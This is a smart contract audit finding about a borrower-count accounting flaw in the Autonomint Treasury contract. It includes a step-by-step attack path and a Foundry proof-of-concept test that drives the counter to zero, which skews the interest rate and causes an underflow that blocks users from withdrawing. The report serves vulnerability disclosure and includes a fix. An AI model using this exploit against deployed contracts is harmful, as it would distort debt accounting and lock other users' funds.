Shallow Coral Kookaburra

High

# `noOfBorrowers` in `Treasury` can be manipulated affecting cumulative rate calculation and DOSing exit of users from the system

### Summary

An incorrect logic for accounting the number of borrowers (`noOfBorrower`) in the `Treasury`, allows anyone to manipulate that value which is used in `Borrowing::calculateCumulativeRate`. When the user deposits for the first time `noOfBorrowers` is increased correctly. Then, when the user eliminates its debt by repaying all indexes the `noOfBorrowers` is decreased correctly. However, when that user enters again as a borrower (by depositing tokens), `noOfBorrowers` is not increased again. The same depositor could enter and exit and decrease the `noOfBorrowers` over and over. When `noOfBorrowers` reaches zero, the cumulative rate calculation is affected and due to an underflow in `Treasury::withdraw`, the rest of users won't be able to exit all their positions.

### Root Cause

When `Treasury::deposit` function is called by the `Borrowing::depositTokens` function, the logic implemented to keep track of the `noOfBorrowers`, their indices and whether they have ever deposited, is the following: 
[Treasury.sol#L163-L173](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/Treasury.sol#L163-L173)
```solidity
        if (!borrowing[user].hasDeposited) {
            //change borrowerindex to 1
            borrowerIndex = borrowing[user].borrowerIndex = 1;
            
            //change hasDeposited bool to true after first deposit
            borrowing[user].hasDeposited = true;
            ++noOfBorrowers;
        } else {
            //increment the borrowerIndex for each deposit
            borrowerIndex = ++borrowing[user].borrowerIndex;
        }
```

As it can be seen, if it is the first time the user ever deposits:
- `hasDeposited` is set as `true`
- `borrowerIndex` is set as `1`
- `noOfBorrowers` is increased by `1`
If it is not the first time (because `hasDeposited` is `true` already):
- `borrowerIndex` is increased by `1`

Having that in mind, lets see what happens when debt is paid:

When `Treasury::withdraw` function is called by the `Borrowing::withDraw` function, the logic implemented is the following:
[Treasury.sol#L268-L271](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/Treasury.sol#L268-L271)
```solidity
// if user has no deposited collaterals then decrement number of borrowers
if (borrowing[borrower].depositedAmountInETH == 0) {
    --noOfBorrowers;
}
```

- `hasDeposited` is still `true`
- `borrowerIndex` does not change
- `noOfBorrowers` is decreased by `1`

The issue occurs when the same borrower (aka depositor) calls `Borrowing::depositTokens` again, after `noOfBorrowers` was decreased.

The logic implemented in `Treasury::deposit` is not enough to handle the case where a user that deposited once, then exited by paying its debt, enters again:

As `hasDeposited` is `true`, the `else` statement will be executed. Then:
- `borrowerIndex` is increased by `1`
`noOfBorrowers` should have been increased too, but it does not happen.

This value (`noOfBorrowers`) can be manipulated to decrease to 0 if a user repeatedly deposits and withdraws.

Manipulating `noOfBorrowers` has serious implications because this value is used in `Borrowing::calculateCumulativeRate`:

[borrowing.sol#L527-L542](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowing.sol#L527-L542)
```solidity
    function calculateCumulativeRate() public returns (uint256) {
        // Get the noOfBorrowers
        uint128 noOfBorrowers = treasury.noOfBorrowers();
        // Call calculateCumulativeRate in borrow library
        uint256 currentCumulativeRate = BorrowLib.calculateCumulativeRate(
            noOfBorrowers,
            ratePerSec,
            lastEventTime,
            lastCumulativeRate
        );
        lastCumulativeRate = currentCumulativeRate;
        return currentCumulativeRate;
    }
```

[BorrowLib.sol#L229-L249](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/lib/BorrowLib.sol#L229-L249)
```solidity
    function calculateCumulativeRate(
        uint128 noOfBorrowers,
        uint256 ratePerSec,
        uint128 lastEventTime,
        uint256 lastCumulativeRate
    ) public view returns (uint256) {
        uint256 currentCumulativeRate;
        
        // If there is no borrowers in the protocol
        if (noOfBorrowers == 0) {
            // current cumulative rate is same as ratePeSec
            currentCumulativeRate = ratePerSec;
        } else {
            // Find time interval between last event and now
            uint256 timeInterval = uint128(block.timestamp) - lastEventTime;
            //calculate cumulative rate
            currentCumulativeRate = lastCumulativeRate * _rpow(ratePerSec, timeInterval, RATE_PRECISION);
            currentCumulativeRate = currentCumulativeRate / RATE_PRECISION;
        }
        return currentCumulativeRate;
    }
```

`lastCumulativeRate` in `Borrowing` could be manipulated to be `ratePerSec`, affecting all calculations in the system.

Additionally, if `noOfBorrowers` reaches zero, nobody will be able to exit all its positions due to an underflow in `Treasury::withdraw`:
[Treasury.sol#L268-L271](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/Treasury.sol#L268-L271)
```solidity
// if user has no deposited collaterals then decrement number of borrowers
if (borrowing[borrower].depositedAmountInETH == 0) {
    --noOfBorrowers;
}
```

Since `noOfBorrowers` is zero, decreasing it by one will cause it to underflow.

### Internal pre-conditions

None

### External pre-conditions

None

### Attack Path

1) User calls `Borrowing::depositTokens`.
2) User calls `Borrowing::withDraw` to withdraw the debt of the previous index.
3) Repeat step 1 and 2, until `noOfBorrowers` is set to 0 (zero).
4) Call `Borrowing::calculateCumulativeRate`

### Impact

All calculations that relies on cumulative rates for accounting will be affected. Such as:
- [BorrowLib.sol#L825](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/lib/BorrowLib.sol#L825). Where debt amount is calculated, and if `lastCumulativeRate` is smaller than expected, `borrowerDebt` will be smaller.
- [BorrowLib.sol#L750](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/lib/BorrowLib.sol#L750). Where `normalizedAmount` is calculated, and if `lastCumulativeRate` is smaller than expected, it will be smaller.
- [Treasury.sol#L268-L271](https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/Treasury.sol#L268-L271). `noOfBorrowers` will underflow every time a user wants to exit its last position.

### PoC

Add the following PoC to `test/foundry/Borrowing.t.sol`:

```solidity
        function test_PoC_ManipulateNoOfBorrowersToManipulateRates() public {
        uint256 ETH = 1;
        uint24 ethPrice = 388345;
        uint8 strikePricePercent = uint8(IOptions.StrikePrice.FIVE);
        uint64 strikePrice = uint64(ethPrice + (ethPrice * ((strikePricePercent * 5) + 5)) / 100);
        uint256 amount = 10 ether;

        uint128 usdtToDeposit = uint128(contractsB.cds.usdtLimit());
        uint256 liquidationAmount = usdtToDeposit / 2;

        // deposit in CDS so there is back funds for the USDa
        address cdsDepositor = makeAddr("depositor");

        {
            vm.startPrank(cdsDepositor);

            contractsB.usdt.mint(cdsDepositor, usdtToDeposit);
            contractsB.usdt.approve(address(contractsB.cds), usdtToDeposit);
            vm.deal(cdsDepositor, globalFee.nativeFee);
            contractsB.cds.deposit{value: globalFee.nativeFee}(
                usdtToDeposit, 0, true, uint128(liquidationAmount), 150000
            );

            vm.stopPrank();
        }

        {
            vm.startPrank(USER);
            vm.deal(USER, globalFee.nativeFee + amount);
            contractsB.borrow.depositTokens{value: globalFee.nativeFee + amount}(
                ethPrice,
                uint64(block.timestamp),
                IBorrowing.BorrowDepositParams(
                    IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount
                )
            );

            vm.stopPrank();
        }

        vm.warp(block.timestamp + 25920);
        vm.roll(block.number + 2160);
  
        {
            vm.startPrank(USER);

            uint64 index = 1;
            Treasury.GetBorrowingResult memory getBorrowingResult = contractsB.treasury.getBorrowing(USER, index);
            Treasury.DepositDetails memory depositDetail = getBorrowingResult.depositDetails;
            uint256 currentCumulativeRate = contractsB.borrow.calculateCumulativeRate();
            contractsB.usda.mint(address(USER), 1000000000000000000); // @audit so there are enough funds (doesn't affect the PoC)
            uint256 tokenBalance = contractsB.usda.balanceOf(USER);

            if ((currentCumulativeRate * depositDetail.normalizedAmount) / 1e27 > tokenBalance) {
                return;
            }

            contractsB.usda.approve(address(contractsB.borrow), contractsB.usda.balanceOf(USER));
            vm.deal(USER, globalFee.nativeFee);
            bytes memory odosData =
        hex"83bd37f9000104c0599ae5a44757c0af6f9ec3b93da8976c150a0001f0f161fda2712db8b566946122a5af183995e2ed0801280f39a348555204118af2f200c49b00019b57DcA972Db5D8866c630554AcdbDfE58b2659c000153E85d00F2C6578a1205b842255AB9DF9D053744000147E2D28169738039755586743E2dfCF3bd643f860000000004010205000501000001020102060001030401ff0000000000000000000000000053e85d00f2c6578a1205b842255ab9df9d05374404c0599ae5a44757c0af6f9ec3b93da8976c150ad8abc2be7ad5d17940112969973357a3a3562998420000000000000000000000000000000000000600000000000000000000000000000000";
            contractsB.borrow.withDraw{value: globalFee.nativeFee}(
                USER, index, odosData, "0x", ethPrice, uint64(block.timestamp)
            );

            vm.stopPrank();
        }

        {
            vm.startPrank(USER);

            vm.deal(USER, globalFee.nativeFee + amount);
            contractsB.borrow.depositTokens{value: globalFee.nativeFee + amount}(
                ethPrice,
                uint64(block.timestamp),
                IBorrowing.BorrowDepositParams(
                    IOptions.StrikePrice.FIVE, strikePrice, ETH_VOLATILITY, IBorrowing.AssetName(ETH), amount
                )
            );
  
            vm.stopPrank();
        }

        uint256 noOfBorrowers = contractsB.treasury.noOfBorrowers();
        assertEq(noOfBorrowers, 0);
        assertEq(contractsB.borrow.calculateCumulativeRate(), contractsB.borrow.ratePerSec());
    }
```

To run the test: 
```bash
forge test --fork-url https://mainnet.mode.network/ --mt test_PoC_ManipulateNoOfBorrowersToManipulateRates 
```

### Mitigation

Modify the logic in `Treasury::deposit`:
```diff
		if (!borrowing[user].hasDeposited) {
            //change borrowerindex to 1
            borrowerIndex = borrowing[user].borrowerIndex = 1;
            
            //change hasDeposited bool to true after first deposit
            borrowing[user].hasDeposited = true;
            ++noOfBorrowers;
        } else {
+	        if (borrowing[user].depositedAmountInETH == 0) {
+			    ++noOfBorrowers;
+			}
            //increment the borrowerIndex for each deposit
            borrowerIndex = ++borrowing[user].borrowerIndex;
        }
```